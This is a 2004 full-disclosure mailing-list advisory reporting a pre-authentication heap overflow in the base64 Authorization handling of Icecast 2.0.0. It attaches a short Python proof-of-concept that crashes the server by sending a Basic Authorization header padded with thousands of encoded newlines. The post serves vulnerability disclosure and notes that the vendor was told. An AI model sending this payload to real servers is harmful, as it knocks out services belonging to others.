full-disclosure - Icecast 2.0.0 preauth overflow

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From: nd at felinemenace.org (ned)
Subject: Icecast 2.0.0 preauth overflow

There exists a remotely exploitable heap overflow in Icecast 2.0.0.
The bug exists in the handling of base64 Authorization request.
This bug was found in about 40 seconds during a HTTP audit of the web 
component of Icecast with the fuzzer SMUDGE 
(http://felinemenace.org/~nd/SMUDGE/)

People complained that the last Icecast bugs weren't preauth. This one is.
Attached is a simple python script to reproduce the bug on the Windows 
platform. Our tests confirmed that some tweaking will crash linux version 
although this was not verified by the Icecast team.

Vendor == notified.

On another note tis signifies the first release from the UBC.

thanks,
nd.

-- 
http://felinemenace.org/~nd
-------------- next part --------------
# will crash windows IceCast 2.0.0
# fm@...inemenace.org, 2004

import socket

req = "GET /admin/ HTTP/1.0\r\n"
req += "Connection: Keep-Alive\r\n"
req += "User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.2-2 i686)\r\n"
req += "Host: 169.254.165.132:8000\r\n"
req += "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\n"
req += "Accept-Encoding: gzip\r\n"
req += "Accept-Language: en\r\n"
req += "Accept-Charset: iso-8859-1,*,utf-8\r\n"
req += "Authorization: Basic " + ("%0a" * 3000)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",8000))
s.send(req)